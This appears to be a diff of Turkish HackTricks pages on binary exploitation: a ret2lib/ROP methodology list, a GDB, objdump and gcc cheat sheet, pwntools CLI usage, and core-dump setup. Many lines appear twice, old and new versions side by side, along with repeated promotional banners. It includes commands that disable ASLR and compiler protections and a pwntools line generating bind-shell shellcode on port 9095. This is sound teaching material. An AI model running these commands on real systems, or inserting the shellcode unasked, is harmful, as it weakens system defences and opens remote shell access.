* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) veya [**PIE**](../common-binary-protections-and-bypasses/pie/) etkinse, ROP gadget'larını kullanabilmek için bunları **geçmek gerekecek**.
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) **ret2execve'yi hazırlamak için** kullanışlı olabilir
* [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) ve [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) ile çeşitli register'ları kontrol etmek için gadget'lar
#### Libc ile
* [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Genellikle **`libc`** gibi bir kütüphaneden bir fonksiyonu (genellikle **`system`**) çağırmak için kullanışlıdır ve bazı hazırlanmış argümanlarla (ör. `'/bin/sh'`). Çağırmak istediğiniz fonksiyonu içeren kütüphanenin binary'yi **yüklemesi gerekmektedir**.
* **Statik olarak derlenmiş ve** [**PIE**](../common-binary-protections-and-bypasses/pie/) **olmayan durumlarda**, `system` ve `/bin/sh`'nin **adresleri değişmeyecek**, bu yüzden bunları statik olarak kullanmak mümkünr.
* **ASLR olmadan** [**ve yüklü libc sürümünü bildiğinizde**, `system` ve `/bin/sh`'nin **adresleri değişmeyecek**, bu yüzden bunları statik olarak kullanmak mümkünr.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ancak** [**PIE**](../common-binary-protections-and-bypasses/pie/)** olmadan, libc'yi bildiğiniz ve binary'nin `system`** fonksiyonunu kullandığı durumlarda, **`'/bin/sh'` adresine GOT'taki system adresine** `ret` yapmak mümkündür (bunu çözmeniz gerekecek).
* [ASLR](../common-binary-protections-and-bypasses/aslr/) **ancak** [PIE](../common-binary-protections-and-bypasses/pie/)** olmadan, libc'yi bildiğiniz ve binary'nin `system`'i kullanmadığı durumlarda**:
* **`ret2dlresolve`**'yi kullanarak `system`'in adresini çözümlemek ve çağırmak mümkündür&#x20;
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **geçmek ve bellekteki `system` ve `'/bin/sh'` adreslerini hesaplamak**.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ve** [**PIE**](../common-binary-protections-and-bypasses/pie/) **ve libc sürümünü bilmediğiniz durumlarda**: Şunları yapmanız gerekmektedir:
* [PIE'yi geçmek](../common-binary-protections-and-bypasses/pie/)
* Kullanılan **`libc` sürümünü** bulun (birkaç fonksiyon adresini sızdırın)
* Devam etmek için **ASLR ile ilgili önceki senaryoları kontrol edin**.
* [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Genellikle **`libc`** gibi bir kütüphaneden bir fonksiyonu (genellikle **`system`**) çağırmak için kullanışlıdır ve bazı hazırlanmış argümanlarla (ör. `'/bin/sh'`). Çağırmak istediğiniz fonksiyonu içeren kütüphanenin **yüklenmiş olması gerekmektedir**.
* **Statik olarak derlenmiş ve** [**PIE**](../common-binary-protections-and-bypasses/pie/) **olmayan durumlarda**, `system` ve `/bin/sh`'nin **adresleri değişmeyecek**, bu yüzden bunları statik olarak kullanmak mümkün olacaktır.
* **ASLR olmadan** [**ve yüklü olan libc sürümünü** bilerek, `system` ve `/bin/sh`'nin **adresleri değişmeyecek**, bu yüzden bunları statik olarak kullanmak mümkün olacaktır.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **var ancak** [**PIE**](../common-binary-protections-and-bypasses/pie/) **yoksa, libc bilinir ve binary `system`** fonksiyonunu kullandığında, `'/bin/sh'` adresine **GOT'taki system adresine** `ret` yapmak mümkün olacaktır (bunu çözmeniz gerekecek).
* [ASLR](../common-binary-protections-and-bypasses/aslr/) **var ancak** [PIE](../common-binary-protections-and-bypasses/pie/) **yoksa, libc bilinir ve binary `system`'i kullanmadığında**:
* **`ret2dlresolve`**'yi kullanarak `system`'in adresini çözümlemek ve çağırmak mümkündür.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **geçmek ve `system` ve `'/bin/sh'`'nin adresini hesaplamak** için
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ve** [**PIE**](../common-binary-protections-and-bypasses/pie/) **var ve libc bilinmiyorsa**:
* [**PIE**](../common-binary-protections-and-bypasses/pie/) **geçmek**
* Kullanılan **`libc` sürümünü** bulmak (birkaç fonksiyon adresini sızdırmak)
* Devam etmek için **ASLR ile önceki senaryoları kontrol etmek** gerekecek.
#### EBP/RBP ile
* [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): ESP'yi kontrol ederek stack'te depolanan EBP aracılığıyla RET'i kontrol etmek.
* **Off-by-one** stack overflow'lar için kullanışlıdır
* EIP'yi kontrol etmeyi sonlandırmanın alternatif bir yol olarak kullanışlıdır, EIP'yi kontrol ederken bellekte payload'ı oluşturmak ve ardından EBP aracılığıyla ona atlamak.
* EIP'yi kontrol etmeyi sonlandırmanın alternatif bir yol olarak kullanışlıdır, EIP'yi kontrol ederken bellekte payload'ı oluşturmak ve ardından EBP aracılığıyla ona atlamak için
#### Çeşitli
* [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Stack'te çağrılacak bir fonksiyonun veya ilginç bir fonksiyon tarafından kullanılacak bir dizenin adreslerini içeren işaretçiler varsa, o adresi üzerine yazmak mümkündür.
* [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Stack'te çağrılacak bir fonksiyonun adreslerini veya bir dizeyi içeren işlevin (system veya printf gibi) kullanılacağına dair işaretçiler varsa, o adresi üzerine yazmak mümkündür.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) veya [**PIE**](../common-binary-protections-and-bypasses/pie/) adresleri etkileyebilir.
* [**İlklenmemiş değişkenler**](../stack-overflow/uninitialized-variables.md): Asla bilemezsiniz

View file

@ -1,18 +1,19 @@
# Sızma Araçları
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Metasploit
```bash
@ -90,7 +91,7 @@ x/i $eip # Instructions of the EIP
```
### [GEF](https://github.com/hugsy/gef)
İlginç talimatlar içeren [**bu GE**](https://github.com/bata24/gef)[**F çatalını**](https://github.com/bata24/gef) isteğe bağlı olarak kullanabilirsiniz.
İlginç komutlar içeren [**bu GE**](https://github.com/bata24/gef)[**F çatalını**](https://github.com/bata24/gef) isteğe bağlı olarak kullanabilirsiniz.
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
@ -137,11 +138,11 @@ gef➤ pattern search 0x6261617762616176
#### GDB aynı adresler
Hata ayıklama yaparken GDB, **yürütüldüğünde kullanılan adreslerden biraz farklı olacaktır.** GDB'nin aynı adreslere sahip olmasını sağlamak için şunları yapabilirsiniz:
Hata ayıklama yaparken GDB, **yürütüldüğünde kullanılan adreslerden biraz farklı adreslere sahip olacaktır.** GDB'nin aynı adreslere sahip olmasını sağlamak için şunları yapabilirsiniz:
* `unset env LINES`
* `unset env COLUMNS`
* `set env _=<path>` _Binary'nin mutlak yolunu ekleyin_
* `set env _=<yol>` _Binary'nin mutlak yolunu ekleyin_
* Aynı mutlak yolu kullanarak binary'yi sömürün
* GDB'yi kullanırken ve binary'yi sömürürken `PWD` ve `OLDPWD` aynı olmalıdır
@ -165,7 +166,7 @@ gef➤ bt
### Yığın ofsetini bulma
**Ghidra**, **yerel değişkenlerin konumu hakkındaki bilgiler sayesinde bir tampon taşmasının ofsetini bulmak için çok yararlıdır.**\
**Ghidra**, **yerel değişkenlerin konumu hakkındaki bilgiler sayesinde bir **tampon taşmasının ofsetini bulmak için çok yararlıdır.**\
Örneğin, aşağıdaki örnekte, `local_bc` içinde bir tampon taşması, `0xbc` ofsetine ihtiyaç duyduğunuzu gösterir. Dahası, `local_10` bir canary çerezi ise, `local_bc`'den üzerine yazmak için `0xac` ofseti olduğunu gösterir.\
_RIP'nin kaydedildiği ilk 0x08'in RBP'ye ait olduğunu unutmayın._
@ -179,18 +180,18 @@ Programda yürütülen her opcode'u alın.
## GCC
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Korumasız derleme\
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Korumalar olmadan derleme\
**-o** --> Çıktı\
**-g** --> Kodu kaydet (GDB görebilecek)\
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Linux'ta ASLR'yi devre dışı bırakmak için
**Shellcode derlemek için:**\
**nasm -f elf assembly.asm** --> ".o" döndürür\
**ld assembly.o -o shellcodeout** --> Yürütülebilir dosya
**ld assembly.o -o shellcodeout** --> Yürütülebilir
## Objdump
**-d** --> **Yürütülebilir** bölümleri (derlenmiş shellcode'un opcode'larını görmek, ROP Gadgets bulmak, fonksiyon adresini bulmak...)\
**-d** --> **Yürütülebilir** bölümleri (derlenmiş bir shellcode'un opcode'larını görmek, ROP Gadgets bulmak, fonksiyon adresini bulmak...)\
**-Mintel** --> **Intel** sözdizimi\
**-t** --> **Semboller** tablosu\
**-D** --> **Tümünü** (statik değişkenin adresi)\
@ -209,12 +210,12 @@ Programda yürütülen her opcode'u alın.
## Daha Fazla
**ldd executable | grep libc.so.6** --> Adres (ASLR ise, bu her seferinde değişir)\
**ldd executable | grep libc.so.6** --> Adres (ASLR varsa, bu her seferinde değişir)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Adresin çok değişip değişmediğini görmek için döngü\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system"ın ofseti\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" ofseti
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh"nin ofseti
**strace executable** --> Yürütülebilir dosya tarafından çağrılan fonksiyonlar\
**strace executable** --> Yürütülebilir tarafından çağrılan fonksiyonlar\
**rabin2 -i ejecutable -->** Tüm fonksiyonların adresi
## **Inmunity debugger**
@ -226,24 +227,25 @@ Programda yürütülen her opcode'u alın.
### Uzaktan linux'ta hata ayıklama
IDA klasörü içinde, bir linux içinde bir ikili dosyayı hata ayıklamak için kullanılabilecek ikili dosyalar bulabilirsiniz. Bunun için `linux_server` veya `linux_server64` ikili dosyasını linux sunucusuna taşıyın ve ikili dosyayı içeren klasörde çalıştırın:
IDA klasörü içinde, bir linux içinde bir ikili dosyayı hata ayıklamak için kullanılabilecek ikili dosyalar bulabilirsiniz. Bunun için `linux_server` veya `linux_server64` ikili dosyasını linux sunucuya taşıyın ve ikili dosyayı içeren klasörde çalıştırın:
```
./linux_server64 -Ppass
```
Sonra, hata ayıklayıcıyı yapılandırın: Hata Ayıklayıcı (uzaktan linux) --> İşlem seçenekleri...:
Ardından, hata ayıklayıcıyı yapılandırın: Hata Ayıklayıcı (linux uzak) --> İşlem seçenekleri...:
![](<../../../.gitbook/assets/image (858).png>)
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizin **HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,34 +1,35 @@
# PwnTools
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına katkıda bulunun.**
</details>
{% endhint %}
```
pip3 install pwntools
```
## Pwn asm
Satır veya dosyadan **opcode**'ları alın.
Satır veya dosyadan **opcode'ları** alın.
```
pwn asm "jmp esp"
pwn asm -i <filepath>
```
**Seçebilir:**
**Seçebilirsiniz:**
* çıktı türü (ham,hex,dize,elf)
* çıktı dosya içeriği (16,32,64,linux,windows...)
* çıktı dosya bağlamı (16,32,64,linux,windows...)
* baytları önle (yeni satırlar, null, bir liste)
* gdb kullanarak hata ayıklama kabuk kodunu seç
* hata ayıklama kabuğu kodlayıcı seçin gdb çalıştır çıktı
## **Pwn checksec**
@ -54,7 +55,7 @@ pwn cyclic -l faad
## Pwn hata ayıklama
Bir işleme GDB'yi ekleyin
Bir işleme GDB ekleyin
```
pwn debug --exec /bin/bash
pwn debug --pid 1234
@ -68,7 +69,7 @@ pwn debug --process bash
## Pwn disablenx
Bir ikilinin nx'ini devre dışı bırakın
Bir ikili dosyanın nx'ini devre dışı bırakın
```
pwn disablenx <filepath>
```
@ -78,10 +79,10 @@ Hex opcodes'ı disassemble etmek
```
pwn disasm ffe4
```
**Seçebilir:**
**Seçenekler:**
* bağlam (16,32,64,linux,windows...)
* temel adres
* taban adres
* renk (varsayılan)/renksiz
## Pwn elfdiff
@ -114,7 +115,7 @@ pwn phd <file>
## Pwn shellcraft
Kabuk kodlarını al
Kabuk kodlarını alın
```
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
@ -135,7 +136,7 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
* Renkli/renksiz
* sistem çağrılarını listele
* olası shellcodeları listele
* Paylaşılan kütüphane olarak ELF oluştur
* Paylaşılan kitaplık olarak ELF oluştur
## Pwn şablonu
@ -143,7 +144,7 @@ Bir Python şablonu al
```
pwn template
```
**Seçebilir:** ana bilgisayar, port, kullanıcı, şifre, yol ve sessiz
**Seçebilirsiniz:** ana bilgisayar, port, kullanıcı, şifre, yol ve sessiz
## Pwn unhex
@ -157,16 +158,17 @@ Pwntools'u güncellemek için
```
pwn update
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşın, PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,53 +1,40 @@
# Yaygın Binary Saldırı Korumaları ve Atlatmaları
# Yaygın Binary Saldırı Korumaları ve Atlamaları
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Çekirdek Dosyalarını Etkinleştir
## Çekirdek Dosyalarını Etkinleştirme
**Çekirdek dosyaları**, bir işlem çöktüğünde işletim sistemi tarafından oluşturulan bir tür dosyadır. Bu dosyalar, çöken işlemin bellek görüntüsünü, kayıtlarını ve program sayacı durumunu içeren diğer ayrıntıları, çökmenin nedenini hata ayıklamak ve anlamak için son derece değerli olabilir.
**Çekirdek dosyaları**, bir işlem çöktüğünde işletim sistemi tarafından oluşturulan bir tür dosyadır. Bu dosyalar, çöken işlemin bellek görüntüsünü, kayıtlarını ve program sayacı durumunu içeren ayrıntıları içerir. Bu anlık görüntü, çökerken neden olduğunu hata ayıklamak ve anlamak için son derece değerli olabilir.
### **Çekirdek Dökümü Oluşturmayı Etkinleştirme**
Varsayılan olarak, birçok sistem çekirdek dosyalarının boyutunu 0'a (yani çekirdek dosyaları oluşturmaz) sınırlar ve disk alanı tasarrufu yapar. Çekirdek dosyalarının oluşturulmasını etkinleştirmek için **`ulimit`** komutunu (bash veya benzer kabuklarda) kullanabilir veya sistem genelinde ayarlar yapılandırabilirsiniz.
Varsayılan olarak, birçok sistem çekirdek dosyalarının boyutunu 0'a (yani çekirdek dosyaları oluşturmaz) sınırlar ve disk alanı tasarrufu yapar. Çekirdek dosyalarının oluşturulmasını etkinleştirmek için **`ulimit`** komutunu (bash veya benzer kabuklarda) kullanabilir veya sistem genelinde ayarlar yapabilirsiniz.
* **Ulimit Kullanımı**: `ulimit -c unlimited` komutu mevcut kabuk oturumunun sınırsız boyutta çekirdek dosyaları oluşturmasına izin verir. Bu, hata ayıklama oturumları için faydalıdır ancak yeniden başlatmalar veya yeni oturumlar arasında kalıcı değildir.
* **Ulimit Kullanımı**: `ulimit -c unlimited` komutu geçerli kabuk oturumunun sınırsız boyutta çekirdek dosyaları oluşturmasına izin verir. Bu, hata ayıklama oturumları için faydalıdır ancak yeniden başlatmalar veya yeni oturumlar arasında kalıcı değildir.
```bash
ulimit -c unlimited
```
* **Kalıcı Yapılandırma**: Daha kalıcı bir çözüm için, tüm kullanıcıların oturumlarında manuel olarak ulimit ayarlamadan sınırsız boyutta core dosyaları oluşturmalarına izin veren `* soft core unlimited` gibi bir satırı içeren `/etc/security/limits.conf` dosyasını düzenleyebilirsiniz.
* **Kalıcı Yapılandırma**: Daha kalıcı bir çözüm için, tüm kullanıcıların oturumlarında ulimit'i manuel olarak ayarlamadan sınırsız boyutta core dosyaları oluşturmalarına izin veren `* soft core unlimited` gibi bir satırı içeren `/etc/security/limits.conf` dosyasını düzenleyebilirsiniz.
```markdown
* soft core unlimited
```
### **GDB ile Çekirdek Dosyalarının Analizi**
Bir çekirdek dosyasını analiz etmek için, GDB (GNU Debugger) gibi hata ayıklama araçlarını kullanabilirsiniz. Varsayalım ki bir çekirdek dökümü oluşturan yürütülebilir bir dosyanız var ve çekirdek dosyasının adı `core_file` ise, analize şu şekilde başlayabilirsiniz:
Bir çekirdek dosyasını analiz etmek için, GDB (GNU Debugger) gibi hata ayıklama araçlarını kullanabilirsiniz. Varsayalım ki bir çekirdek dökümü oluşturan yürütülebilir bir dosyanız var ve çekirdek dosyasının adı `core_file` ise analize şu şekilde başlayabilirsiniz:
```bash
gdb /path/to/executable /path/to/core_file
```
Bu komut, yürütülebilir dosyayı ve çekirdek dosyasını GDB'ye yükler ve çökme anındaki program durumunu incelemenizi sağlar. Yığını keşfetmek, değişkenleri incelemek ve çökmenin nedenini anlamak için GDB komutlarını kullanabilirsiniz.
<details>
<summary><strong>Sıfırdan başlayarak AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'ı **takip edin**.
* Hacking püf noktalarınızı paylaşarak PR'ler göndererek [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
Bu komut, yürütülebilir dosyayı ve çekirdek dosyasını GDB'ye yükler ve çökme anındaki program durumunu incelemenizi sağlar. GDB komutlarını kullanarak yığını keşfedebilir, değişkenleri inceleyebilir ve çökmenin nedenini anlayabilirsiniz.

View file

@ -1,30 +1,31 @@
# ASLR
{% hint style="success" %}
